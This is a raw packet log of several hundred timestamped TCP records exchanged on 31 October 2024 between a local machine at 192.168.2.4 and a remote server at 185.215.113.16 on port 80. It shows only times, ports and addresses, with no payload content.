Oct 31, 2024 04:16:09.412735939 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.412897110 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.412911892 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.412942886 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.412945986 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.412956953 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.412972927 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.412997007 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.412997961 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413017035 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413018942 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413041115 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413052082 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413074017 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413080931 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413089991 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413105011 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413105965 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413119078 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413130999 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413137913 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413153887 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413155079 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413168907 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413177967 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413184881 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413192987 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413201094 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413212061 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413224936 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413243055 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413244963 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413259983 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413275957 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413281918 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413291931 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413295984 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413311958 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413314104 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413336039 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413343906 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413356066 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413360119 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413376093 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413381100 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413393021 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413400888 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413419008 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413431883 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413460970 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413476944 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413491964 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413508892 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413521051 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413535118 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413547993 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413551092 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413572073 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413573027 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413598061 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413602114 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413613081 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413618088 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413638115 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413650036 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413866997 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413882017 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413908005 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413916111 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413925886 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413930893 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413945913 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413949013 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413960934 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413970947 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413978100 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.413985014 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.413994074 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414005041 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414010048 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414024115 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414024115 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414037943 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414057970 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414058924 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414067984 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414087057 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414103031 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414118052 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414125919 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414134026 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414149046 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414150953 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414165020 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414174080 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414180994 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414196014 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414201021 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414211988 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414223909 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414228916 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414242983 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414252043 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414258957 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414284945 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414330006 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414345026 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414359093 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414370060 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414375067 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414391041 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414391994 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414407015 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414407015 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414429903 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414449930 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414477110 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414509058 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414525032 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414540052 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414551973 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414556980 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414573908 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414576054 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414585114 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414589882 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414613962 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414628983 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414777994 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414810896 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414824009 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414834976 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414848089 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414849043 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414869070 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414874077 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414890051 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414896965 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414908886 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414911985 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414927959 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414947033 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414954901 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414961100 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.414964914 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414978027 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.414987087 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.415004969 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.415024042 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483083963 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483105898 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483129025 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483144999 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483153105 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483160019 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483177900 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483196974 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483227015 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483239889 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483253956 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483279943 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483299971 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483300924 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483310938 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483325958 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483338118 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483341932 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483366966 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483367920 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483376980 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483398914 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483405113 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483419895 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483443022 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483458042 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483500004 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483529091 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483535051 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483545065 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483561039 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483583927 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483587980 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483612061 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483613968 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483633995 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483649015 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483649015 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483664036 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483685017 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483704090 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483725071 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483741999 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483761072 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483766079 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483767986 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483773947 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483777046 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483781099 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483798981 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483827114 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483855009 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483870029 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483885050 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483900070 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483908892 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483935118 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.483954906 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483971119 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483984947 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.483998060 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484021902 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484040976 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484081984 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484111071 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484126091 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484127045 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484142065 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484150887 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484158039 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484158039 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484174967 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484179974 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484199047 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484211922 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484225035 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484240055 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484258890 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484277964 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484281063 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484299898 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484312057 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484317064 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484333992 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484348059 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484363079 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484364033 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484376907 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484384060 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484411955 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484414101 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484428883 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484443903 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484453917 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484458923 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484474897 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484478951 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484503031 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484527111 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484536886 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484550953 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484565973 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484575033 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484581947 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484589100 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484597921 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.484610081 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484647989 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.484647989 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.528678894 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.528697968 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.528734922 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.528750896 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.528753042 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.528767109 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.528783083 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.528789997 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.528803110 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.528832912 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.528990984 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.529042006 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.529066086 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.529089928 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.529119968 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.529144049 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.529159069 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.529191017 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.529198885 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.529207945 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.529228926 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.529239893 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.529247999 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.529258013 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.529278994 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.529283047 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.529305935 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.529305935 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.529325962 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.529335976 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.529557943 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.529616117 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.529643059 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.529659033 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.529675007 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.529701948 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.529911041 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.529944897 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.529959917 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.529961109 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.529989004 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.529999018 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530034065 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530056953 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530071974 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530077934 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530091047 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530118942 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530127048 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530143976 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530159950 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530188084 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530217886 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530255079 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530271053 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530296087 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530308962 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530323982 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530325890 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530343056 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530349016 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530363083 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530381918 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530392885 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530407906 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530424118 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530440092 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530452013 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530457020 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530472994 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530483961 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530504942 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530530930 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530531883 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530569077 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530585051 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530600071 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530613899 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530616999 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530633926 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530636072 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530651093 CET	80	49814	185.215.113.16	192.168.2.4
